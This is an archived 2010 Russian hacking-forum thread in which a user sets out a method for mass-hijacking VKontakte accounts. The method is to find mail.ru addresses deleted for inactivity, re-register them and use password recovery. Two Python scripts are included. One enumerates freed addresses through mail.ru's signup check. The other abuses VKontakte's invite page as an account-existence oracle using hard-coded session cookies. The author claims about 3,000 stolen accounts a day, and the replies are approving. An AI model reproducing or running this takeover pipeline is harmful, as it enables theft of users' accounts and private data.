Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Как добывать аккаунты вконтакте

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Для начинающих] >> Как добывать аккаунты вконтакте
Имя
Сообщение << Старые топики   Новые топики >>
Как добывать аккаунты вконтакте - 2010-08-18 17:10:34.213333   
underwater

Сообщений: 12
Оценки: 0
Присоединился: 2009-05-27 21:02:49.146666
Привет. Сейчас я спалю тему как добывать аккаунты вконтакте. Думающий читатель наверняка подумает: "зачем он это делает, он что сибанулся?". А ответ таков, я по простоте душевной в своё время спалил эту тему одному человеку, а он вместо того чтобы использовать её для себя продаёт вконтактики. Пусть лучше эта тему умрёт, чем редиска будет ей пользоваться. Вот такой я кибер-шахид

Ну да ладно, закончили с интро, приступим к сути. И так, у нас самый популярный в этой стране почтовый сервис mail.ru, всё бы ничего, почта как почта, да вот только там удаляют мыло если его не использовать в течении 3х месяцев. И как следствие из популярности на этих удаленных мылах висит большое количество вконтактиков.

Что мы делаем? Мы качаем спам базы mail.ru и проходим их вот таким скриптиком, он пишет в файл free_mails.txt те мыла, которые были удалены за неактивность в течении 3х месяцев.
# -*- coding: utf-8 -*- import threading import Queue import pycurl from cStringIO import StringIO from urllib import urlencode import re from time import sleep goods = open('free_mails.txt', 'a') lock = threading.Lock() qu&nbsp;&nbsp; = Queue.Queue() def ithread(): rexp = re.compile(r'\&amp;([^=]+)="\+\(urlencode\(name_\)\)\+"\&amp;x_reg_id=([^\&amp;]+)') curl = pycurl.Curl() buff = StringIO() curl.setopt(curl.WRITEFUNCTION, buff.write) curl.setopt(curl.ENCODING, 'gzip,deflate') curl.setopt(curl.NOSIGNAL, 1) #curl.setopt(curl.PROXYTYPE, curl.PROXYTYPE_SOCKS5) #curl.setopt(curl.PROXY, host) #curl.setopt(curl.PROXYPORT, int(port)) def curlrun(): &nbsp;while True: &nbsp; try: &nbsp;&nbsp; buff.truncate(0) &nbsp;&nbsp; curl.perform() &nbsp; except pycurl.error, err: &nbsp;&nbsp; print err &nbsp;&nbsp; sleep(1) &nbsp; else: &nbsp;&nbsp; return buff.getvalue() email&nbsp;&nbsp; = '' session = [] while True: &nbsp;if email == '': &nbsp; email = qu.get() &nbsp; if email == '': &nbsp;&nbsp; return &nbsp;if session == []: &nbsp; curl.setopt(curl.URL, 'http://win.mail.ru/cgi-bin/signup') &nbsp; match = rexp.search(curlrun()) &nbsp; if not match: &nbsp;&nbsp; print 'rexp error' &nbsp;&nbsp; return &nbsp; session = match.groups() &nbsp;login, domain = email.split('@') &nbsp;post = { &nbsp; 'RegistrationDomain' : domain, &nbsp; session[0]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : login, &nbsp; 'x_reg_id'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : session[1] &nbsp;} &nbsp;curl.setopt(curl.URL, 'http://win.mail.ru/cgi-bin/checklogin') &nbsp;curl.setopt(curl.POSTFIELDS, urlencode(post)) &nbsp;reply = curlrun() &nbsp;if reply == '0': &nbsp; lock.acquire() &nbsp; print '[+] %s' % email &nbsp; goods.write('%s\n' % email) &nbsp; goods.flush() &nbsp; lock.release() &nbsp; email = '' &nbsp;elif reply == '109': &nbsp; print 'NEW SESSION' &nbsp; session = [] &nbsp;else: &nbsp; #print '[-] %s' % email &nbsp; email = '' for x in xrange(20): thread = threading.Thread(target=ithread) thread.start() emails = open('first_base.txt', 'r') flag = True for e in emails.xreadlines(): e = e.rstrip() if flag == True: &nbsp;qu.put(e) elif e == 'smaliavka@mail.ru': &nbsp;flag = True

Скриптик в некоторых моментах коряв, причина тому это то, что он в своё время писался в спешке.

И вот мы получили мыла которые мы можем зарегистрировать и сретривить заветные вконтактики, само собой регистрировать все мыла подряд будет накладно. Но это поправимо, чемпион специальной олимпиды по программированию - Павел Дурофф оставил для нас дырочку http://vkontakte.ru/invite.php

Как использовать эту дырочку? А очень просто, если мы туда пихаем мыло которое уже зарегистрировано вконтактике, то в ответ получаем - "Приглашение не отослано, так как пользователь с таким адресом уже зарегистрирован.", если же мыло там не зарегистрировано, то ответ мы получаем другой.

Ну и само собой сей процесс нужно автоматизировать, прогоняем через этот скрипт результат работы первого скрипта, а именно free_mails.txt

import threading import pycurl from urllib import urlencode from time import sleep # sids это массив с куками аккаунтов вконтакта, их нужно много так как нельзя слать запросы чаще раза в секунду sids = [ 'c55bf90eefb28ac5c45250e46e06923a782c85ba4d9d5fa84&nbsp; 6748475', '9f950159258644d14aad6c419c39144b3ed20aafc65f46c6a&nbsp; 89f133d' ] emlist = map(str.rstrip, open('free_mails.txt', 'r').xreadlines()) goods = open('invk.txt', 'a') lock = threading.Lock() def work(sid): curl = pycurl.Curl() curl.setopt(curl.URL, 'http://vkontakte.ru/invite.php') curl.setopt(curl.COOKIE, 'remixsid=%s' % sid) while True: &nbsp;try: &nbsp; email = emlist.pop(0) &nbsp;except IndexError: &nbsp; break &nbsp;post = { &nbsp; 'act'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : 'sent', &nbsp; 'email'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : email, &nbsp; 'first_name' : '', &nbsp; 'last_name'&nbsp; : '', &nbsp; 'cmate'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : '1', &nbsp; 'cfriend'&nbsp;&nbsp;&nbsp; : '5', &nbsp; 'message'&nbsp;&nbsp;&nbsp; : '' &nbsp;} &nbsp;curl.setopt(curl.POSTFIELDS, urlencode(post)) &nbsp;curl.perform() &nbsp;rurl = curl.getinfo(curl.REDIRECT_URL) &nbsp;if not rurl: &nbsp; emlist.append(email) &nbsp; return &nbsp;lock.acquire() &nbsp;print rurl &nbsp;lock.release() &nbsp;if 'invite.php?m=3' in rurl: &nbsp; lock.acquire() &nbsp; goods.write('%s\n' % email) &nbsp; goods.flush() &nbsp; lock.release() &nbsp;sleep(1) threadslist = [] for s in sids: thread = threading.Thread(target=work, args=(s,)) threadslist.append(thread) thread.start() sleep(1) for t in threadslist: t.join()
После работы этого скрипта мы получили список мыл в файле invk.txt которые удалены за неактивность и на них висит аккаунтик вконтакта.

Что дальше? Дальше регистрируем мыла которые удалены с mail.ru и зарегистрированы вконтактике. Реггер я не всталяю, так как не уверен в том, что он еще работает, а проверять его влом.

Ну и само собой дальше идёт ретрив. В своё время ретривер у меня использовал TOR вместо прокси, но теперь вконтактик банит его выходные узлы, так что вам придётся озадачиться проксями. А так же сортировать старые аккаунты (с них можной инвайтить без капчи) и новые, а так же те, которые привязаны к мобилке.

За сим вроде все, само собой редиска, о котором я писал в интро замутил базы mail.ru, поэтому вам придётся использовать какие нибудь превадные.

Ах да, о производительности всего этого, каждый день я снимал примерно по 3 тысячи вконтактиков.


upd: Как мне тут подсказали - если акк привязан к мобилке, то с помощью мыла его не заполучить. Так что приходится рассчитывать на те акки, которые к мобилке не привязаны ~ 30%. Вообще, логично то, что те кто не заходят на мыло по 3 месяца могут забить и на привязку к мобиле. Еще есть 30% аккаунтов которые заброшены до активации по мылу, для их использования достаточно спарсить из мыла ссылку на активацию и перейти по ней (так было осенью).

© ЕгоАкк

Взято с http://vulnes.com
Post #: 1
RE: Как добывать аккаунты вконтакте - 2010-08-23 04:34:03.733333   
aL.ive

Сообщений: 163
Оценки: 0
Присоединился: 2010-03-08 13:39:18.673333
слушай, а интересный метод, лови +!
Post #: 2
RE: Как добывать аккаунты вконтакте - 2010-08-30 13:28:12.653333   
Surft

Сообщений: 252
Оценки: 5
Присоединился: 2010-08-25 07:23:20.633333
надо будет попробовать!
Post #: 3
RE: Как добывать аккаунты вконтакте - 2010-09-01 01:29:45.186666   
Alkaline

Сообщений: 303
Оценки: 0
Присоединился: 2010-08-23 17:15:51.476666
Отредактируй скрипты, не рабочие
Post #: 4
Страниц:  [1]
Все форумы >> [Для начинающих] >> Как добывать аккаунты вконтакте







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.